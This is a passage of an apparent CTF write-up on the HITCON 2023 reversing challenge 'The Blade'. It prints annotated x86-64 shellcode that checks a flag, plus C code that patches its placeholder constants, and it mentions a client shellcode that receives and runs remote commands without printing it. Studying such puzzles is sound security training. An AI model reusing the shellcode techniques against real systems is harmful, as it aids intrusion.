  e5:   6a &lt;span class=&quot;token number&quot;&gt;01&lt;/span&gt;                   push   &lt;span class=&quot;token number&quot;&gt;0x1&lt;/span&gt;
  e7:   &lt;span class=&quot;token number&quot;&gt;58&lt;/span&gt;                      pop    rax  &lt;span class=&quot;token comment&quot;&gt;; rax = 1&lt;/span&gt;
  e8:   eb &lt;span class=&quot;token number&quot;&gt;03&lt;/span&gt;                   jmp    &lt;span class=&quot;token number&quot;&gt;0xed&lt;/span&gt;
  ea:   &lt;span class=&quot;token number&quot;&gt;48&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;31&lt;/span&gt; c0                xor    rax&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; rax &lt;span class=&quot;token comment&quot;&gt;; rax = 0&lt;/span&gt;

&lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt; snip &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Assembly&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;I&#39;ve included the juiciest part above (with some annotations). Essentially, we perform several reversible operations (add, xor, ror, not) on 4 bytes of input; and the result is checked against 4 bytes of static data. Finally, it sets &lt;code&gt;rax = 1&lt;/code&gt; if correct, and &lt;code&gt;rax = 0&lt;/code&gt; if false.&lt;/p&gt;
&lt;p&gt;But are we &lt;em&gt;actually&lt;/em&gt; comparing &lt;code&gt;0xdeadbeef&lt;/code&gt;. Nope—we&#39;re comparing something else instead.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;What are the two &lt;code&gt;0xdeadbeef&lt;/code&gt; being replaced with?&lt;/li&gt;
&lt;/ul&gt;
&lt;details&gt;&lt;summary&gt;The Guts: What does the shellcode load?&lt;/summary&gt;&lt;div class=&quot;details-content&quot;&gt;
&lt;p&gt;Here is some (simplified) code which overwrites &lt;code&gt;0xdeadbeef&lt;/code&gt; values at instruction &lt;code&gt;113168&lt;/code&gt;. Remember, &lt;code&gt;vec&lt;/code&gt; is the shellcode and &lt;code&gt;__ptr&lt;/code&gt; is our permuted + mapped input.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-c&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-c&quot;&gt;vec&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0xcc&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; __ptr&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
vec&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0xdf&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0xA7&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
vec&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0xcd&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; __ptr&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
vec&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0xe0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0x51&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
vec&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0xce&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; __ptr&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
vec&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0xe1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0x68&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
vec&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0xcf&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; __ptr&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
vec&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0xe2&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0x52&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Does &lt;code&gt;0xA7&lt;/code&gt;, &lt;code&gt;0x51&lt;/code&gt;, &lt;code&gt;0x68&lt;/code&gt;, and &lt;code&gt;0x52&lt;/code&gt; look familiar? 🙃 Check the wall of bytes in &lt;code&gt;11310e&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Effectively, the Rust performs a little surgery on shellcode before using it.&lt;/p&gt;
&lt;p&gt;But how is it used? Leafing around the decompiled code, you may notice Rust IO write and read functions... those seem sus...&lt;/p&gt;
&lt;div class=&quot;details-collapse-bottom&quot;&gt;&lt;sub&gt;&lt;a class=&quot;details-collapse-button&quot;&gt;(collapse)&lt;/a&gt;&lt;/sub&gt;&lt;/div&gt;&lt;/div&gt;&lt;/details&gt;
&lt;p&gt;By now, you probably know what the shellcode does: &lt;span class=&quot;spoiler&quot; tabindex=&quot;0&quot;&gt;flag-checking&lt;/span&gt;. But there are a few more things we need to reverse...&lt;/p&gt;
&lt;p&gt;In the calculations, three mystery values (&lt;code&gt;r12&lt;/code&gt;, &lt;code&gt;r13&lt;/code&gt;, &lt;code&gt;r14&lt;/code&gt;) are used. These were computed in the preceding shellcode. To efficiently obtain our flag input from the expected output, we need to find out what these mystery values are.&lt;/p&gt;
&lt;p&gt;In case you&#39;d like to have a stab at dissecting the assembly, the full (unblemished) shellcode is in the box below. Try to figure out what &lt;code&gt;r12&lt;/code&gt;, &lt;code&gt;r13&lt;/code&gt;, and &lt;code&gt;r14&lt;/code&gt; are!&lt;/p&gt;
&lt;div class=&quot;alert alert-info d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-bolt ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;ul&gt;
&lt;li&gt;If you&#39;re stuck, try using GDB on our shellcode program (main.c from &lt;a href=&quot;https://trebledj.me/posts/hitcon-2023-the-blade/#running-the-server&quot;&gt;Running the Server&lt;/a&gt;) with &lt;a href=&quot;https://trebledj.me/posts/gdb-cheatsheet/#watchpoints&quot;&gt;watchpoints&lt;/a&gt;.
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Important&lt;/strong&gt;: the shellcode we saw when &lt;a href=&quot;https://trebledj.me/posts/hitcon-2023-the-blade/#running-the-server&quot;&gt;starting the server&lt;/a&gt; is different from the shellcode we&#39;re reversing here! The former acts as a client, receiving commands and executing them. The latter is a flag-checker payload that is sent to the client over the network.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Here&#39;s a useful list of Linux x86-64 syscalls: &lt;a href=&quot;https://filippo.io/linux-syscall-table/&quot;&gt;filippo.io: Linux Syscall Table&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;&lt;/div&gt;
&lt;details&gt;&lt;summary&gt;Full Shellcode&lt;/summary&gt;&lt;div class=&quot;details-content&quot;&gt;
&lt;p&gt;Have fun! :)&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-asm&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-asm&quot;&gt;   &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;:   &lt;span class=&quot;token number&quot;&gt;54&lt;/span&gt;                      push   rsp
   &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;:   5d                      pop    rbp
   &lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;:   &lt;span class=&quot;token number&quot;&gt;31&lt;/span&gt; f6                   xor    esi&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; esi
   &lt;span class=&quot;token number&quot;&gt;4&lt;/span&gt;:   &lt;span class=&quot;token number&quot;&gt;48&lt;/span&gt; b9 a1 &lt;span class=&quot;token number&quot;&gt;57&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;06&lt;/span&gt; b8 &lt;span class=&quot;token number&quot;&gt;62&lt;/span&gt; 3a 9f &lt;span class=&quot;token number&quot;&gt;37&lt;/span&gt;   movabs rcx&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0x379f3a62b80657a1&lt;/span&gt;
   e:   &lt;span class=&quot;token number&quot;&gt;48&lt;/span&gt; ba 8e &lt;span class=&quot;token number&quot;&gt;35&lt;/span&gt; 6f d6 4d &lt;span class=&quot;token number&quot;&gt;49&lt;/span&gt; f7 &lt;span class=&quot;token number&quot;&gt;37&lt;/span&gt;   movabs rdx&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0x37f7494dd66f358e&lt;/span&gt;
  &lt;span class=&quot;token number&quot;&gt;18&lt;/span&gt;:   &lt;span class=&quot;token number&quot;&gt;48&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;31&lt;/span&gt; d1                xor    rcx&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; rdx
  1b:   &lt;span class=&quot;token number&quot;&gt;51&lt;/span&gt;                      push   rcx
  1c:   &lt;span class=&quot;token number&quot;&gt;54&lt;/span&gt;                      push   rsp
  1d:   5f                      pop    rdi
  1e:   6a &lt;span class=&quot;token number&quot;&gt;02&lt;/span&gt;                   push   &lt;span class=&quot;token number&quot;&gt;0x2&lt;/span&gt;
  &lt;span class=&quot;token number&quot;&gt;20&lt;/span&gt;:   &lt;span class=&quot;token number&quot;&gt;58&lt;/span&gt;                      pop    rax
  &lt;span class=&quot;token number&quot;&gt;21&lt;/span&gt;:   &lt;span class=&quot;token number&quot;&gt;99&lt;/span&gt;                      cdq
  &lt;span class=&quot;token number&quot;&gt;22&lt;/span&gt;:   0f &lt;span class=&quot;token number&quot;&gt;05&lt;/span&gt;                   syscall
  &lt;span class=&quot;token number&quot;&gt;24&lt;/span&gt;:   &lt;span class=&quot;token number&quot;&gt;48&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;97&lt;/span&gt;                   xchg   rdi&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; rax
  &lt;span class=&quot;token number&quot;&gt;26&lt;/span&gt;:   &lt;span class=&quot;token number&quot;&gt;31&lt;/span&gt; c0                   xor    eax&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; eax
  &lt;span class=&quot;token number&quot;&gt;28&lt;/span&gt;:   &lt;span class=&quot;token number&quot;&gt;50&lt;/span&gt;                      push   rax
  &lt;span class=&quot;token number&quot;&gt;29&lt;/span&gt;:   &lt;span class=&quot;token number&quot;&gt;54&lt;/span&gt;                      push   rsp
  2a:   5e                      pop    rsi
  2b:   6a &lt;span class=&quot;token number&quot;&gt;04&lt;/span&gt;                   push   &lt;span class=&quot;token number&quot;&gt;0x4&lt;/span&gt;
  2d:   5a                      pop    rdx
  2e:   0f &lt;span class=&quot;token number&quot;&gt;05&lt;/span&gt;                   syscall
  &lt;span class=&quot;token number&quot;&gt;30&lt;/span&gt;:   &lt;span class=&quot;token number&quot;&gt;41&lt;/span&gt; 5c                   pop    r12
  &lt;span class=&quot;token number&quot;&gt;32&lt;/span&gt;:   6a &lt;span class=&quot;token number&quot;&gt;03&lt;/span&gt;                   push   &lt;span class=&quot;token number&quot;&gt;0x3&lt;/span&gt;
  &lt;span class=&quot;token number&quot;&gt;34&lt;/span&gt;:   &lt;span class=&quot;token number&quot;&gt;58&lt;/span&gt;                      pop    rax
  &lt;span class=&quot;token number&quot;&gt;35&lt;/span&gt;:   0f &lt;span class=&quot;token number&quot;&gt;05&lt;/span&gt;                   syscall
  &lt;span class=&quot;token number&quot;&gt;37&lt;/span&gt;:   &lt;span class=&quot;token number&quot;&gt;31&lt;/span&gt; f6                   xor    esi&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; esi
  &lt;span class=&quot;token number&quot;&gt;39&lt;/span&gt;:   &lt;span class=&quot;token number&quot;&gt;48&lt;/span&gt; b9 3b 3b 6f c3 &lt;span class=&quot;token number&quot;&gt;63&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;64&lt;/span&gt; c0 aa   movabs rcx&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0xaac06463c36f3b3b&lt;/span&gt;
  &lt;span class=&quot;token number&quot;&gt;43&lt;/span&gt;:   &lt;span class=&quot;token number&quot;&gt;48&lt;/span&gt; ba &lt;span class=&quot;token number&quot;&gt;48&lt;/span&gt; 4c 0b c3 &lt;span class=&quot;token number&quot;&gt;63&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;64&lt;/span&gt; c0 aa   movabs rdx&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0xaac06463c30b4c48&lt;/span&gt;
  4d:   &lt;span class=&quot;token number&quot;&gt;48&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;31&lt;/span&gt; d1                xor    rcx&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; rdx
  &lt;span class=&quot;token number&quot;&gt;50&lt;/span&gt;:   &lt;span class=&quot;token number&quot;&gt;51&lt;/span&gt;                      push   rcx
  &lt;span class=&quot;token number&quot;&gt;51&lt;/span&gt;:   &lt;span class=&quot;token number&quot;&gt;48&lt;/span&gt; b9 8c &lt;span class=&quot;token number&quot;&gt;57&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;82&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;75&lt;/span&gt; d6 f8 a9 7d   movabs rcx&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0x7da9f8d67582578c&lt;/span&gt;
  5b:   &lt;span class=&quot;token number&quot;&gt;48&lt;/span&gt; ba a3 &lt;span class=&quot;token number&quot;&gt;32&lt;/span&gt; f6 &lt;span class=&quot;token number&quot;&gt;16&lt;/span&gt; f9 &lt;span class=&quot;token number&quot;&gt;88&lt;/span&gt; c8 0e   movabs rdx&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0xec888f916f632a3&lt;/span&gt;
  &lt;span class=&quot;token number&quot;&gt;65&lt;/span&gt;:   &lt;span class=&quot;token number&quot;&gt;48&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;31&lt;/span&gt; d1                xor    rcx&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; rdx
  &lt;span class=&quot;token number&quot;&gt;68&lt;/span&gt;:   &lt;span class=&quot;token number&quot;&gt;51&lt;/span&gt;                      push   rcx
  &lt;span class=&quot;token number&quot;&gt;69&lt;/span&gt;:   &lt;span class=&quot;token number&quot;&gt;54&lt;/span&gt;                      push   rsp
  6a:   5f                      pop    rdi
  6b:   6a &lt;span class=&quot;token number&quot;&gt;02&lt;/span&gt;                   push   &lt;span class=&quot;token number&quot;&gt;0x2&lt;/span&gt;      
  6d:   &lt;span class=&quot;token number&quot;&gt;58&lt;/span&gt;                      pop    rax
  6e:   &lt;span class=&quot;token number&quot;&gt;99&lt;/span&gt;                      cdq
  6f:   0f &lt;span class=&quot;token number&quot;&gt;05&lt;/span&gt;                   syscall
  &lt;span class=&quot;token number&quot;&gt;71&lt;/span&gt;:   &lt;span class=&quot;token number&quot;&gt;48&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;97&lt;/span&gt;                   xchg   rdi&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; rax
  &lt;span class=&quot;token number&quot;&gt;73&lt;/span&gt;:   &lt;span class=&quot;token number&quot;&gt;31&lt;/span&gt; c0                   xor    eax&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; eax
  &lt;span class=&quot;token number&quot;&gt;75&lt;/span&gt;:   &lt;span class=&quot;token number&quot;&gt;50&lt;/span&gt;                      push   rax
  &lt;span class=&quot;token number&quot;&gt;76&lt;/span&gt;:   &lt;span class=&quot;token number&quot;&gt;54&lt;/span&gt;                      push   rsp      
  &lt;span class=&quot;token number&quot;&gt;77&lt;/span&gt;:   5e                      pop    rsi
  &lt;span class=&quot;token number&quot;&gt;78&lt;/span&gt;:   6a &lt;span class=&quot;token number&quot;&gt;04&lt;/span&gt;                   push   &lt;span class=&quot;token number&quot;&gt;0x4&lt;/span&gt; 
  7a:   5a                      pop    rdx
  7b:   0f &lt;span class=&quot;token number&quot;&gt;05&lt;/span&gt;                   syscall
  7d:   &lt;span class=&quot;token number&quot;&gt;41&lt;/span&gt; 5d                   pop    r13
  7f:   6a &lt;span class=&quot;token number&quot;&gt;03&lt;/span&gt;                   push   &lt;span class=&quot;token number&quot;&gt;0x3&lt;/span&gt;      
  &lt;span class=&quot;token number&quot;&gt;81&lt;/span&gt;:   &lt;span class=&quot;token number&quot;&gt;58&lt;/span&gt;                      pop    rax
  &lt;span class=&quot;token number&quot;&gt;82&lt;/span&gt;:   0f &lt;span class=&quot;token number&quot;&gt;05&lt;/span&gt;                   syscall
  &lt;span class=&quot;token number&quot;&gt;84&lt;/span&gt;:   &lt;span class=&quot;token number&quot;&gt;31&lt;/span&gt; f6                   xor    esi&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; esi
  &lt;span class=&quot;token number&quot;&gt;86&lt;/span&gt;:   6a 6f                   push   &lt;span class=&quot;token number&quot;&gt;0x6f&lt;/span&gt;
  &lt;span class=&quot;token number&quot;&gt;88&lt;/span&gt;:   &lt;span class=&quot;token number&quot;&gt;48&lt;/span&gt; b9 &lt;span class=&quot;token number&quot;&gt;59&lt;/span&gt; e5 &lt;span class=&quot;token number&quot;&gt;06&lt;/span&gt; 0c 2d f6 d9 &lt;span class=&quot;token number&quot;&gt;77&lt;/span&gt;   movabs rcx&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0x77d9f62d0c06e559&lt;/span&gt;
  &lt;span class=&quot;token number&quot;&gt;92&lt;/span&gt;:   &lt;span class=&quot;token number&quot;&gt;48&lt;/span&gt; ba &lt;span class=&quot;token number&quot;&gt;76&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;81&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;63&lt;/span&gt; 7a &lt;span class=&quot;token number&quot;&gt;02&lt;/span&gt; 8c bc &lt;span class=&quot;token number&quot;&gt;05&lt;/span&gt;   movabs rdx&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0x5bc8c027a638176&lt;/span&gt;
  9c:   &lt;span class=&quot;token number&quot;&gt;48&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;31&lt;/span&gt; d1                xor    rcx&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; rdx
  9f:   &lt;span class=&quot;token number&quot;&gt;51&lt;/span&gt;                      push   rcx
  a0:   &lt;span class=&quot;token number&quot;&gt;54&lt;/span&gt;                      push   rsp
  a1:   5f                      pop    rdi
  a2:   6a &lt;span class=&quot;token number&quot;&gt;02&lt;/span&gt;                   push   &lt;span class=&quot;token number&quot;&gt;0x2&lt;/span&gt;  
  a4:   &lt;span class=&quot;token number&quot;&gt;58&lt;/span&gt;                      pop    rax
  a5:   &lt;span class=&quot;token number&quot;&gt;99&lt;/span&gt;                      cdq
  a6:   0f &lt;span class=&quot;token number&quot;&gt;05&lt;/span&gt;                   syscall
  a8:   &lt;span class=&quot;token number&quot;&gt;48&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;97&lt;/span&gt;                   xchg   rdi&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; rax
  aa:   &lt;span class=&quot;token number&quot;&gt;31&lt;/span&gt; c0                   xor    eax&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; eax
  ac:   &lt;span class=&quot;token number&quot;&gt;50&lt;/span&gt;                      push   rax
  ad:   &lt;span class=&quot;token number&quot;&gt;54&lt;/span&gt;                      push   rsp
  ae:   5e                      pop    rsi
  af:   6a &lt;span class=&quot;token number&quot;&gt;04&lt;/span&gt;                   push   &lt;span class=&quot;token number&quot;&gt;0x4&lt;/span&gt;
  b1:   5a                      pop    rdx
  b2:   0f &lt;span class=&quot;token number&quot;&gt;05&lt;/span&gt;                   syscall
  b4:   &lt;span class=&quot;token number&quot;&gt;58&lt;/span&gt;                      pop    rax
  b5:   &lt;span class=&quot;token number&quot;&gt;48&lt;/span&gt; f7 d0                not    rax
  b8:   &lt;span class=&quot;token number&quot;&gt;48&lt;/span&gt; c1 e8 1d             shr    rax&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0x1d&lt;/span&gt;
  bc:   &lt;span class=&quot;token number&quot;&gt;48&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;99&lt;/span&gt;                   cqo
  be:   6a &lt;span class=&quot;token number&quot;&gt;29&lt;/span&gt;                   push   &lt;span class=&quot;token number&quot;&gt;0x29&lt;/span&gt;
  c0:   &lt;span class=&quot;token number&quot;&gt;59&lt;/span&gt;                      pop    rcx
  c1:   &lt;span class=&quot;token number&quot;&gt;48&lt;/span&gt; f7 f1                div    rcx
  c4:   &lt;span class=&quot;token number&quot;&gt;49&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;96&lt;/span&gt;                   xchg   r14&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; rax
  c6:   6a &lt;span class=&quot;token number&quot;&gt;03&lt;/span&gt;                   push   &lt;span class=&quot;token number&quot;&gt;0x3&lt;/span&gt;
  c8:   &lt;span class=&quot;token number&quot;&gt;58&lt;/span&gt;                      pop    rax
  c9:   0f &lt;span class=&quot;token number&quot;&gt;05&lt;/span&gt;                   syscall
  cb:   b8 ef be ad de          mov    eax&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0xdeadbeef&lt;/span&gt;
  d0:   &lt;span class=&quot;token number&quot;&gt;44&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;01&lt;/span&gt; e0                add    eax&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; r12d
  d3:   &lt;span class=&quot;token number&quot;&gt;44&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;31&lt;/span&gt; e8                xor    eax&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; r13d
  d6:   c1 c8 0b                ror    eax&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0xb&lt;/span&gt;
  d9:   f7 d0                   not    eax
  db:   &lt;span class=&quot;token number&quot;&gt;44&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;31&lt;/span&gt; f0                xor    eax&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; r14d
  de:   3d ef be ad de          cmp    eax&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0xdeadbeef&lt;/span&gt;
  e3:   &lt;span class=&quot;token number&quot;&gt;75&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;05&lt;/span&gt;                   jne    &lt;span class=&quot;token number&quot;&gt;0xea&lt;/span&gt;
  e5:   6a &lt;span class=&quot;token number&quot;&gt;01&lt;/span&gt;                   push   &lt;span class=&quot;token number&quot;&gt;0x1&lt;/span&gt;
  e7:   &lt;span class=&quot;token number&quot;&gt;58&lt;/span&gt;                      pop    rax
  e8:   eb &lt;span class=&quot;token number&quot;&gt;03&lt;/span&gt;                   jmp    &lt;span class=&quot;token number&quot;&gt;0xed&lt;/span&gt;
  ea:   &lt;span class=&quot;token number&quot;&gt;48&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;31&lt;/span&gt; c0                xor    rax&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; rax
  ed:   &lt;span class=&quot;token number&quot;&gt;50&lt;/span&gt;                      push   rax
  ee:   &lt;span class=&quot;token number&quot;&gt;53&lt;/span&gt;                      push   rbx
  ef:   5f                      pop    rdi
  f0:   &lt;span class=&quot;token number&quot;&gt;54&lt;/span&gt;                      push   rsp
  f1:   5e                      pop    rsi
  f2:   6a &lt;span class=&quot;token number&quot;&gt;08&lt;/span&gt;                   push   &lt;span class=&quot;token number&quot;&gt;0x8&lt;/span&gt;
  f4:   5a                      pop    rdx
  f5:   6a &lt;span class=&quot;token number&quot;&gt;01&lt;/span&gt;                   push   &lt;span class=&quot;token number&quot;&gt;0x1&lt;/span&gt;
  f7:   &lt;span class=&quot;token number&quot;&gt;58&lt;/span&gt;                      pop    rax
  f8:   0f &lt;span class=&quot;token number&quot;&gt;05&lt;/span&gt;                   syscall
  fa:   &lt;span class=&quot;token number&quot;&gt;55&lt;/span&gt;                      push   rbp
  fb:   5c                      pop    rsp
  fc:   &lt;span class=&quot;token number&quot;&gt;41&lt;/span&gt; ff e7                jmp    r15&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Assembly&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;details-collapse-bottom&quot;&gt;&lt;sub&gt;&lt;a class=&quot;details-collapse-button&quot;&gt;(collapse)&lt;/a&gt;&lt;/sub&gt;&lt;/div&gt;&lt;/div&gt;&lt;/details&gt;
